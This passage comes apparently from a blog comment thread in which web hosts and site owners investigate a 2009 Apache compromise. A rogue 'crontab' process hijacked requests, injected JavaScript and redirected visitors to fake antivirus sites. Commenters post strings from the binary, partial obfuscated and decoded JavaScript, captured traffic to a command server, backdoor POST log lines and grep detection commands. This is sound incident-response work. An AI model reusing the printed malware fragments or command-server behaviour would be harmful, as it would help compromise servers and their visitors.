      What about everyone else? One similarity I have noted is everyone appears to be running CentOS 4.5 or 5, whether this is coincidental or not I wouldn’t know.

    • |

      Here are the “Server” HTTP headers of sites that had been affected by this attack.(Some thing could change since the time they were affected though):

      Apache/2.2.9 (Debian) Embperl/2.2.0 PHP/5.2.6-1+lenny3 with Suhosin-Patch mod_ssl/2.2.9 OpenSSL/0.9.8g mod_perl/2.0.4 Perl/v5.10.0
      Apache/2.2.11 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.7a mod_mono/2.2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/
      Apache/2.2.3 (Debian) mod_python/3.2.10 Python/2.4.4 PHP/4.4.4-8+etch6 mod_ssl/2.2.3 OpenSSL/0.9.8c mod_perl/2.0.2 Perl/v5.8.8
      Apache/2.0.54 (Fedora)
      Apache/2.2.11 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.8e-fips-rhel5 DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/ PHP/5.2.10 mod_perl/2.0.4 Perl/v5.8.8
      Apache/2.0.55 (Ubuntu) PHP/5.1.2 mod_ssl/2.0.55 OpenSSL/0.9.8a
      JS Apache Server powered by Transformers

      If the headers are not spoofed, it looks like not only CentOs/Red Hat distros are affects. We have Debian and Fedora as well.

      Versions of Apache also vary. All version 2.x though.

  17. |

    My server:
    Linux 2.6.9-89.0.3.ELsmp
    PHP Version 4.3.9
    Apache/2.0.52 (Red Hat)

    Hope it helps

    – Paul

  18. |

    Apache/2.0.55 (Ubuntu)
    PHP Version 4.4.2-1build1

  19. |

    We have two hosting servers (Ubuntu LAMP)

    — 8< -- Tonight there was an attack and a new 'crontab' file appeared out of the blue

    -rwxr-xr-x 1 www-data www-data 23310 Jul 30 23:26 /home/web/dir/crontab

    -- 8&1
    www-data 14424 0.0 0.0 5908 556 ? S 23:26 0:00 | \_ /home/web/dir/crontab 1916 crontab http ://
    www-data 13362 0.0 0.4 179952 10340 ? S 23:16 0:00 \_ /usr/sbin/apache2 -k start

    -- 8< -- # file crontab

    crontab: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), for GNU/Linux 2.6.9, dynamically linked (uses shared libs), not stripped

    -- 8 (0x00007fff709fe000) => /lib/ (0x00007fa368285000)
    /lib64/ (0x00007fa3685e7000)

    — 8< -- # strings crontab

    strings oso
    l$ L
    http_get(): %s, %s, %s
    http_get(): socket error
    http_get(): connect error
    http_get(): %d bytes received
    GET %s HTTP/1.1
    Accept: */*
    Host: %s
    Accept-Encoding: gzip
    User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1;)
    Connection: Keep-alive
    HTTP/1.0 404 Not Found
    Server: Apache
    X-Powered-By: PHP/5.1.4
    HTTP/1.1 302 Found
    Location: %s
    Content-Length: 0
    Keep-Alive: timeout=15, max=99
    Connection: Keep-Alive
    Content-Type: text/html
    process %d request, reading...
    read done, len: %d
    %d bytes wrote, %s
    server_loop() started: sock: %d
    sleep because of errors
    too many errors, exiting
    before select
    set alarm
    can not select
    sleeping because of cookie
    accept returned %d, errno %d, %s
    sleeping before start
    nInitRes: %d, success: %d
    zahlpc=”Jl#tWL%POTzGHriViVz#LiY”;rvxleu=” funcQ74ioQ6e djjQ78tQ6cgs(hlyzcQ6arQ29Q7bQ76aQ72
    The rest of the obfuscated JavaScript removed by Denis. It produced AV warnings

    — >8 —

    I have this ‘crontab’ file. How can we continue analyzing it?

    • |

      The JS I removed produced the following code:

      var expiry = new Date(); expiry.setTime(expiry.getTime() + 24*60*60*1000);
      document.cookie='sessionid=39128605A531; path=/; expires=' + expiry.toGTString(); d ocument.write( "" );

      Looks familiar. Though this time they used decimal numbers to set the expiration time instead of octal.

    • |

      If you can send it to us we have people who can reverse engineer the file to see what it’s really doing.

      Then we’ll post the results back here.

      If that’s acceptable to Denis.

  20. |

    My thoughts on some Apache exploit still exist, however, we’ve been working with many hosting providers where the Apache version is anywhere from 2.0.5x to 2.2.X and PHP versions from 4.x to 5.2.x

    Has everyone here grepped for the base64_decode across the entire server? We’ve had good luck in finding the control files that way.

    Or checked the log files for POSTs?

    Another good test is to run a “ps waux” command and compare the output to what’s in the /proc/{numeric} folders to see if there is any hidden processes. Or see if there is a process listed in “ps waux” that doesn’t have a corresponding entry in /proc/{numeric}

  21. |

    Hi all,

    We just managed to reveal the ‘trigger files’ which were hidden on the server using the handy grep command from above:

    grep -H “eval(base64_decode” /var/www/vhosts/* -R | cut -d: -f1 > /tmp/results_scan

    So, now we have the trigger files and can delete them. But what can we do to stop others from uploading these files again and exploiting the same vulnerability?

    • |

      We’ve found that these files are usually uploaded via someone’s compromised FTP credentials.

      Are you on a shared server? Are you the shared server owner?

      You’ll have to have everyone with FTP access to your site/server scan their PCs with a different anti-virus program than what they’re currently using.

      Did you only find the files in the vhosts? We’ve talked with other hosting providers and that’s where they found.

      Maybe that’s the common thread here.

  22. |

    Does this website has anything to do with it?

  23. |

    You can get a copy of the daemon that’s stealing the requests and returning the javascript here: (Edit by Denis. I removed the URL to prevent abuse. The file itself is similar to the one found by Manuel Jimenez)

    It also gets it’s configuration from the same IP:

    01:02:54.425328 IP > . ack 1 win 46
    01:02:54.425341 IP > P 1:179(178) ack 1 win 46
    ^M@u.w.Q.GET /dc/def.php?cfg=1 HTTP/1.1
    Accept: */*
    Accept-Encoding: gzip
    User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1;)
    Connection: Keep-alive

    01:02:54.799356 IP > . ack 179 win 108
    01:02:54.799605 IP > P 1:771(770) ack 179 win 108
    w.S’^M@u.HTTP/1.1 200 OK
    Date: Mon, 27 Jul 2009 23:02:54 GMT
    Server: Apache
    X-Powered-By: PHP/5.2.6
    Content-Length: 593
    Connection: close
    Content-Type: text/html; charset=UTF-8

    ;redirect cmd
    ;set cmd
    ;after N responses
    ;max responses without timeouts

  24. |

    These rogue sites :

    goparkscan .com
    antick .info

    This malware seems never ending. I have tried everything but the damn malware does not go away.

    Is there a virus remover to run online on the site to fix or catch these malwares. I would like to run a scan online of the website which is huge about 100,000 files in there.

    Anyway I installed Comodo Anti Virus – Free Version and it atleast catches it and does not allow it to install on the machine. McAfee did not catch it and I paid a lot for it, now I have uninstalled McAfee – pretty useless I must say to pay so much for an antivirus and still get infected.

    • |

      >Is there a virus remover to run online on the site to fix or catch these malwares. I would like to run a scan online of the website which is huge about 100,000 files in there.

      Please read the article once more. Than read the comments. You can’t resolve the issue unless you are the server admin (not just the site admin). The problem is not in you site files. Contact you hosting service provider and let them read this article.

  25. |

    it happens again. Now they are additional randomly placing links to warez sites.
    My hoster says that I have a security hole in my CMS System. I scanned all files, databases and found nothing. Can I do something against these randomly attacks or must my webspace hoster close this security hole? I use only a webspace package, no Server. Should I change the Hoster, if he doesn’t fix the problem?

  26. |

    There are some things about this that I have questions about. First, I think most of my questions could be answered if provided with binary so that it could be reverse engineered. I am having trouble understanding how this rogue process can hijack HTTP requests. Everyone has stated that the rogue process runs as nobody, correct? It would take a privileged user to bind to port 80 if the process simply proxied HTTP requests. Also, it would take a privileged user if the process were to try to do TCP hijacking since it would have to be root to place itself in promiscuous mode. Those two options are the only way I can think of that this rogue process could randomly respond to HTTP requests. Can someone please elaborate on how this process, being run as a non root user, is able to do what is being claimed? I am not calling BS on this. I am just trying to get more details.


  27. |

    Looks similar to one advanced infection we’re currently experiencing at badwarebusters.

    Care to have a look Denis?

  28. |


    Thanks to a very alert user of my site on a shared server I think my hosting provider definitely could also be infected. The user has seen the described behavior occur only after midnight (my site runs in europe), the redirected to site is a diffent one (should I mention it here?).
    I myself have not been able to see it occur yet, I even stayed up late last nite to see if I could see it occur. Tried several browsers at the same time, and clicking on several sites that run on the same server but no “luck”. But as far as I understand from reading all the posts, the attacker quite randomly enables the injection process, not necessarily each day and/or at the same time.

    Luckily the user was even able to send screenshots of my site right after the redirect occured. And one specific thing is relevant to notice: a part of my site that uses Javascript to display something, showed that part as if Javascript was disabled or not available! I think I can even guess why: the attacker’s apache process is messing up or replacing existing Javascript in in the tag! That’s most likely why that part of my site is showing incorrectly.

    I also understood the following:
    – There’s a big chance you won’t see any of the mentioned strange process(es) running, because they/it only run when the attacker has started it, the processes won’t run 24/7!
    – As a regular site owner, your site’s code doesn’t need to have the infected code itself, but another site on your server definitely can have. And if it’s not in your site’s code, then you can’t really find anything. I.e, you can’t find the mentioned .php file nor will ‘find’ find any of the suspicious strings in your code. Because your provider won’t (shouldn’t) let you search in other site’s code.

    (is my summary correct?)

    Now I’m seriously worried that my provider will react like Texturemaster’s provider. Especially because I haven’t even seen it myself yet. Of course all the provider needs to do is run a full system ‘find’ as described earlier, but, based on previous experiences with my provider, I’m afraid their reaction will more likely be: “let’s just shut down his site because it spreads malware, and we worry about the rest later”.

    Thus I’ve been thinking how to at least protect my users. And I think I’ve found a way! (notice the ‘I think’)

    Goal: don’t let users get redirected to any of the malware sites.
    Solution: prevent the redirect from happening via javascript.
    I first tried to remove the http-equiv META tag via javascript at the onLoad of the page. But I found in multiple posts on forums that you can’t; or at least you can’t stop the refresh from happening.
    While trying this, I did find out that the actual redirect (refresh) won’t happen until the onLoad function of the originally requested page is finished. That was good news, that means I can do something before it happens! Maybe enough to prevent it…

    Then I came up with the idea to force another redirect *before* the Refresh one would kick in: using location.href. Basically, I let the javascript in the onLoad search for the tag “http-equiv” with value “refresh” (case insensitive). If it’s found, I let the browser redirect to the homepage of my site! The user will notice this, but most likely won’t be really worried about it; instead of going where they thought they’d go on the site, they go to the homepage of the site they were already on.
    In the example code below you’ll see at the bottom the evil 3 META lines generated by the hack. In my example it tries to redirect to cnn. com, the “bad” site (note this is just an example, I’m not implying in any way it is infected!!).
    In the onLoad you see one long line of javascript code. If ‘http-equiv’ and ‘refresh’ is found, it sets location.href to digg. com, the “save” site (again just an example). Replace digg .com with your own site’s URL!

    To try it out: put the code in a text file, say: norefresh.html
    Drag that page into your browser. And you should see digg. com showing, not ccn .com!!
    Take out everything from onLoad up to the closing “>”, and you’ll get directed to cnn . com.
    Take out the bottom 3 META tag lines and you’ll see HELLOOOOO!!!
    You can also put the META tags at the bottom anywhere else in the file, you should get directed to digg.

    The code:

    No Refresh

    <body onLoad='javascript:metatags = document.getElementsByTagName("meta");for (cnt = 0; cnt


    Note that I think you *have* to do it in the onLoad, because of my earlier mentioned behaviour that part of my website’s Javascript was gone. Thus putting it in tags won’t work because the attacker’s Javascript seems to replace/mess up all stuff in the .
    That’s why I put it all on one line in the onLoad.

    How to put it onto your site:
    If you have an HTML-only site: for each page, put the whole “onLoad=……” part as attribute of the tag, thus as you see in the example code. Watch correct copying of the quotes!
    If you have a PHP site: do the same thing for every tag you have. Hopefully your code is setup in such a way that you only have to do it in 1 spot.

    – Users won’t be redirected to malicious sites regarding this hack.
    – Does the solution really work for an affected site? My example is of course a very simple page, and maybe more stuff happens to injected pages nobody has found yet. Since I’ve not seen the hack occur yet, I also didn’t put this solution in place yet for my site.
    – Nobody will notice the refresh-redirect anymore, so nobody will notice the server is hacked! But see below how to still be able to track when it occurs!
    – If you’re using the refresh on your site this solution won’t work.

    Advanced implementation:
    For a better user experience, you could set the location.href to the current page the user is on, then the user won’t notice anything. But this might be harder to do regarding existing request parameters etc.
    As a mentioned con is that now nobody will notice the server is infected anymore, because no malicious redirects occur anymore. To fix this, what you could do is in the onLoad javascript, is make a very tiny HTTP request to your server. That request calls a simple PHP page that logs the detection of the refresh-code occurrence in a log or database. This way each occurrence can even be tracked!

    Note: from this goscanpark blogpost it is not clear *where* in the generated page the tags are put. So I assumed for the worst and tried before the and after the and in between the tags. The described onLoad solution should handle all these cases correctly.

    And: might it be an idea to show a complete list of the sites hacked servers are redirecting to, at least as complete as possible? That way this post is easier to find for people having the same problem…

    PS: big thanks for posting all of this!

    Mr JS

    • |

      Hi Mr JS,

      I’m afraid your work-around won’t work. The fake “Apache” process never reads your files. It just serves hard-coded malicious response to unsuspecting users.

      On a shared server you can detect the malicious process yourself if you have SSH access and can run “ps” command. However you should know the name of the malicious process (they may be different on different servers) and be lucky enough to run the command at the time when it is active. Server admins with root access can do it much more effectively, scanning the whole directory tree though.

      • |

        Ah bummer, I see now you mention it in fact#2…: “it is not injected as part of your web pages”. Can’t believe I missed that!

        I have had no luck yet seeing any weird processes with ‘ps’, so the full root dir tree scan is the next thing to go for then.

      • |

        my hoster tells me that I have no SSH rights. So I can do nothing against this attack. He think that his servers are secured. He means I have malicious software on my pc. Ok, so I do following:

        To do this I have used a laptop for scanning

        1. First at all I have formatted the harddisc completly (with fixboot, MBR new written, the laptop have only one harddisc, no partitions).
        2. I installed a new original Windows XP System with SP3 and all Updates on my laptop.
        3. for security I scan With a linux start CD including Kaspersky IS 2010 all files on the new installed system, but nothing to found.
        4. I scan the PC with sophos for rootkits, nothing to found
        5. I scan the pc with malwarebytes antimalware, nothing to found.

        After that, I visit my website. After some clicks the same shit happens again.

        Then I do following:

        6. After that I cleaned all mysql databases on my website
        7. I deactivate all scripts (Java Scripts) on the site
        8. I have changed all passwords (ftp, etc.)
        9. I have uploaded all *.html files completly new.

        But it happens again.

        These damn randomly infection are appear only on the domains which are on this server. I have tested my site 7 days (many many clicks) and all should be clean, but then on the 8. day the infection is back.

        • |

          My problem appears to be identical. I have blocked ftp access from all ip addresses except the 2 permanent ones I use. I have changed my password and don’t store my password on my home pc but still the code of my web pages is modified with the insertion of this sort of stuff:

          The pages that are attacked are only those with high hit rates. They are located in 3 separate directories on the server.
          My server access logs show I did not access my account on the dates when my pages have been modified. My computer was not in use on those days. The copies of the pages on my pc are clean.

          I sure hope someone can help us because my web host is blaming my pc for the source of the problem. I scan as stealth on and have avg running continuously. Avg scans are always clean.

          • |

            I have written 60 support tickets to my hosting provider and nothing happens. He always says I am using uncertain scripts. So I write a macro which visits all websites on this shared server automatically and make a screenshot of the site. After the macro makes 1000 Screenshots I detect 12 infected sites. And one of these sites belongs to my hoster (LOL). I have send these screenshots to my hoster and now he reacts. He transfered all my data to a new shared server. And now…all seems to be OK.

            Because these attacks are randomly it will be tricky and lucky to make a screenshot at the same time when the attack starts, that was the reason why I write these macro.

            I have used this macro on a clean pc, with windows xp and sp3, all xp updates and KIS 2010

  29. |

    […] Frank, Although your site looks fine it could still be hacked. Take a look at this article about malicious redirects. Look at the htaccess file (if there is one) and see if there is any […]

  30. |

    Hello all, I was referred to this blog by the team at Google groups.

    Just like many others here a few of my sites acted as if they had been infected by this script: redirects to the same bogus domains, redirects after a pause, very sporadic redirects, etc.

    I’d appreciate if the admins running servers can comment on a possible solution by the use of the more secure suPHP. A comment by Thomas J. Raef… “On the affected shared server with 1,200 web sites they found a bogus “crontab” process run as user “nobody”. When they killed the process, the attack stopped”, has led us to believe that suPHP will neutralize any script not running under the correct ownership.

  31. |


    We have the same problem on our server.
    Sometimes visitors got a JS code instead of the real content.

    If I restart the Apache, everything is okey for a day, but later (randomly) the JS code appears again.
    I spent a whole day by waiting for the JS code appearing.
    At 18:08 o’clock I realised the virus began to work again.

    I searched the whole file system:

    find . -iname ‘*php’ | xargs grep ‘\$_POST\[\”p\”\]’ -sl

    It found 1 php file (cron.php), I checked it and I found an inserted PHP code:


    (if you dont use wordwrap, you cant see it at first sight because of many whitespaces.)

    (I know cron.php file (drupal cms) and this code was not there when our customer installed his CMS system, I think his ftp password was stolen, and a script modified this file)

    I checked access log (for this website), search for the filename and I found this: – – [09/Oct/2009:17:33:02 +0200] “POST /cron.php HTTP/1.1″ 200 32 “” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Alexa Toolbar)” 0 – – [09/Oct/2009:17:33:03 +0200] “POST /cron.php HTTP/1.1″ 200 5339 “” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Alexa Toolbar)” 4

    So I think this was happened:
    17:33: The virus was activated by an external call (Posted data to cron.php, which was running the posted code – eval function do that)
    18:08: Confirmed: I realised the virus began to work again in my browser (by reloading pages many times from our server)

    I hope I found the problem. I keep checking our server…

    Maybe this post will help to someone to get closer to solve this problem.

  32. |

    We had a similar problem on one of our servers.

    I finally managed to locate the backdoor script in a client’s site using the grep commands listed above. However I never actually saw any suspicious processes running in the process list. Obviously they have learned to hide the process in question or it only runs for a very short length of time.

    This is a somewhat scary type of exploit. I wish we knew what code they were using to compromise apache so we could further mitigate against this type of attack. It should not be possible to do this from a standard user account and it’s the first time I have ever come across anything like this. Anyway I have included some more details below which may help others.

    PHP script was called “4_text2.php” inside in the images directory of a site. Site in question is extremely basic static page with no running PHP scripts and very few files. The only way this file could have been uploaded would be via compromised FTP. It was uploaded on April 29th however it has definitely not been active for anywhere near that long. According to the sites access logs something makes a POST request to the script nearly once per day. – – [09/Oct/2009:16:29:44 +0100] “POST /images/4_text2.php HTTP/1.1″ 200 32 “” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Alexa Toolbar)” – – [09/Oct/2009:16:29:45 +0100] “POST /images/4_text2.php HTTP/1.1″ 200 398 “” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Alexa Toolbar)”

    The IP’s are random so it’s probably a botnet of some sort or else they are using multiple proxies. Another request later on in the day after the file was removed. – – [10/Oct/2009:00:40:39 +0100] “POST /images/4_text2.php HTTP/1.1″ 404 216 “” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Alexa Toolbar)” – – [10/Oct/2009:00:40:45 +0100] “POST /images/4_text2.php HTTP/1.1″ 404 216 “” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Alexa Toolbar)” – – [10/Oct/2009:00:40:51 +0100] “POST /images/4_text2.php HTTP/1.1″ 404 216 “” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Alexa Toolbar)” – – [10/Oct/2009:00:40:57 +0100] “POST /images/4_text2.php HTTP/1.1″ 404 216 “” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Alexa Toolbar)”

    Also worrying is the fact that we had a number of functions disabled in PHP yet this was still able to get in.

    disable_functions: exec, passthru, shell_exec, system, proc_open, parse_ini_file, show_source
    enable_dl: Off

    The server in question is a bit old so the software is not the newest but it is patched with all the latest security updates from Redhat. It’s an RHEL3 box with PHP 4.4.2 and Apache/2.0.46.

  33. |

    Here’s a worthwhile read: smaert. com/apache_mischief/writeup. txt (remove the spaces)

    There are two symptoms of this problem which seem to make different browsers behave differently:

    * a “virus warning” in IE and Opera
    * blank pages in Firefox and Safari where a view source shows a bunch of weird links embedded in a portion of a js

    The virus scan exploit only appears in IE (6,7,8) and Opera – that is to say
    the blank pages don’t happen but on random pages you get the virus warning. In IE the you get the pop-up box that you must not click but in Opera you can stop all the javascripts running and you can see that the browser has been made to open in our case:

    available-scanner. com/scan1/?pid=

    Effectively this page spoofs a Windows screen.

    The warning message box displayed in both IE and Opera is


    Warning!!! Your personal computer needs to install antivirus software!
    Cyber Security can perform fast and free virus and malicious software scan
    of your computer .


    There are two clickable buttons in the message both of which initiate a download.

    In Firefox you only get random blank pages with the odd js when you view source

    In Safari you only get what Firefox gets but the browser freezes.

    The view source of the blank page reveals a set of links which are described elsewhere here but in our case the links were to alleged movie download pages.

  34. |

    This security flaw is fixed in Apache’s APR v1.3.6 but so far is only packaged in Fedora 10/11.

    smaert. com/apache_mischief/writeup. txt

    The report on the above link tells you everything you need to know about how it works.

  35. |

    What should I do to get rid of this problem?

    How can I catch the malicious process and destroy it forever?

    I read only information I receive on my websites, but not a solution.

  36. |

    I got the full script and executables, I just got them, i am preparing an article and stuff. Anybody interested into helping me to source the injected binary that hijack the apache requests can contact me